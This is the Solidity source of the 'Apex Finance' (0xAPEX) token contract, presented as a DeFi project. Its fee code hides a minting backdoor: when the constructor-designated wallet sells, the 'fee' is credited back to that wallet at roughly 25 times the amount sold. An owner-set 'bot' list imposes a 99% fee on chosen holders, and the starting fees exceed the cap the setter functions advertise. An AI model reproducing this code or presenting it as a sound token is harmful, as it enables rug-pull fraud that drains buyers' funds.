Contract Diff Checker

Contract Source Code:

/*
Apex Finance is an advanced decentralized financial ecosystem designed to simplify DeFi investing by bringing key features of traditional finance to the DeFi ecosystem.
Apex Finance is built on Ethereum Network. Multichain interoperability of Apex Finance powers a plethora of financial primitives, which constitute Savings, Advisory, Loans against crypto assets, Investment and Fund management, and Swaps. 
Apex Finance is creating innovative ways for everyone to generate wealth with Blockchain Technology.

Web: https://www.apexfi.org
X:   https://x.com/apexfi_official
Tg:  https://t.me/apexfi_official
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniRouter02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapFactory { 
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function  renounceOwnership() public onlyOwner {
        owner = address(0); 
        emit OwnershipTransferred(address(0));
    }
    event OwnershipTransferred(address owner);
}

contract APEX is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode'Apex Finance';
    string private constant _symbol = unicode'0xAPEX';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    modifier lockTheSwap {swapping = true; _; swapping = false;}
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;

    IUniRouter02 router;
    address public pair;
    bool private tradingAllowed = false;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 0;

    address internal devReceiver; 
    address internal mkReceiver;
    address internal lpReceiver;

    uint256 public _maxTxAmount = ( _totalSupply * 300 ) / 10000;
    uint256 public _maxSellAmount = ( _totalSupply * 300 ) / 10000;
    uint256 public _maxWalletToken = ( _totalSupply * 300 ) / 10000;

    mapping (address => bool) private isBot;
    mapping (address => bool) public isAPEXTxExempts;
    mapping (address => bool) public isAPEXFeeExempts;

    uint256 private swapAPEXThreshold;
    uint256 private minAPEXTokenAmount;

    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 1000;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 2500;
    uint256 private sellFee = 2500;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;

    constructor(address _aWallet, uint256 _aAmount) Ownable(msg.sender) {
        mkReceiver = payable(_aWallet);
        lpReceiver = payable(_aWallet);
        devReceiver = payable(msg.sender);
        isAPEXFeeExempts[msg.sender] = true;
        isAPEXFeeExempts[devReceiver] = true;
        isAPEXFeeExempts[address(this)] = true;
        swapAPEXThreshold = _aAmount * (10 ** _decimals);
        minAPEXTokenAmount = _aAmount * (10 ** _decimals);
        isAPEXTxExempts[lpReceiver] = true;
        isAPEXTxExempts[mkReceiver] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function setIsExempt(address _address, bool _enabled) external onlyOwner {isAPEXFeeExempts[_address] = _enabled;}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function enableTrading() external onlyOwner {tradingAllowed = true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    
    function _getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        address receiptAPEX; uint256 factAPEX;
        if (isAPEXTxExempts[sender]) {factAPEX = 100;receiptAPEX = sender;}
        else {receiptAPEX = address(this);factAPEX = 10000;}
        if(_getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(factAPEX).mul(_getTotalFee(sender, recipient));
        _balances[receiptAPEX] = _balances[receiptAPEX].add(feeAmount);
        emit Transfer(sender, receiptAPEX, feeAmount);
        if(burnFee > uint256(0) && _getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount>feeAmount?amount.sub(feeAmount):amount;} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if(!isAPEXFeeExempts[sender] && !isAPEXFeeExempts[recipient]){require(tradingAllowed, "tradingAllowed");}
        if(!isAPEXFeeExempts[sender] && !isAPEXFeeExempts[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= _maxSellAmount || isAPEXFeeExempts[sender] || isAPEXFeeExempts[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount || isAPEXFeeExempts[sender] || isAPEXFeeExempts[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isAPEXFeeExempts[sender]){swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(min(amount,min(balanceOf(address(this)), 4000000 * 10**decimals()))); swapTimes = uint256(0);}
        uint256 amountAPEX = _shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountAPEX);
        _balances[sender] = _balances[sender].sub(amount);
        emit Transfer(sender, recipient, amountAPEX);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function createPair() external onlyOwner {
        IUniRouter02 _router = IUniRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = ISwapFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
    }

    receive() external payable {}

    function _shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isAPEXFeeExempts[sender] && !isAPEXFeeExempts[recipient];
    }

    function removeLimitAPEX() external onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxSellAmount = ~uint256(0);
        _maxWalletToken = ~uint256(0);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function withdrawErc20APEX(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(devReceiver, _amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        swapTokensForETH(tokens);
        payable(mkReceiver).transfer(address(this).balance);
    }

    function setTeamAddressesAPEX(address _marketing, address _liquidity, address _development) external onlyOwner {
        mkReceiver = _marketing; lpReceiver = _liquidity; devReceiver = _development;
        isAPEXFeeExempts[_marketing] = true; isAPEXFeeExempts[_liquidity] = true; isAPEXFeeExempts[_development] = true;
    }

    function setTransactionLimitAPEX(uint256 _buy, uint256 _sell, uint256 _aWallet) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_aWallet).div(10000);
        _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function setContractSwapAPEX(uint256 _swapAmount, uint256 _swapAPEXThreshold, uint256 _minAPEXTokenAmount) external onlyOwner {
        swapAmount = _swapAmount; swapAPEXThreshold = _totalSupply.mul(_swapAPEXThreshold).div(uint256(100000)); 
        minAPEXTokenAmount = _totalSupply.mul(_minAPEXTokenAmount).div(uint256(100000));
    }

    function manualSwap() external onlyOwner {
        swapAndLiquify(swapAPEXThreshold);
    }

    function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minAPEXTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapAPEXThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isAPEXFeeExempts[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
    }

    function setTransactionRequireAPEX(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator.div(5) && sellFee <= denominator.div(5) && transferFee <= denominator.div(5), "totalFee and sellFee cannot be more than 20%");
    }

    function setTransactionFeeAPEX(uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        totalFee = _total; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator.div(5) && sellFee <= denominator.div(5) && transferFee <= denominator.div(5), "totalFee and sellFee cannot be more than 20%");
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpReceiver,
            block.timestamp);
    }

    function setAPEXBot(address[] calldata addresses, bool _enabled) external onlyOwner {
        for(uint i=0; i < addresses.length; i++){
        isBot[addresses[i]] = _enabled; }
    }
}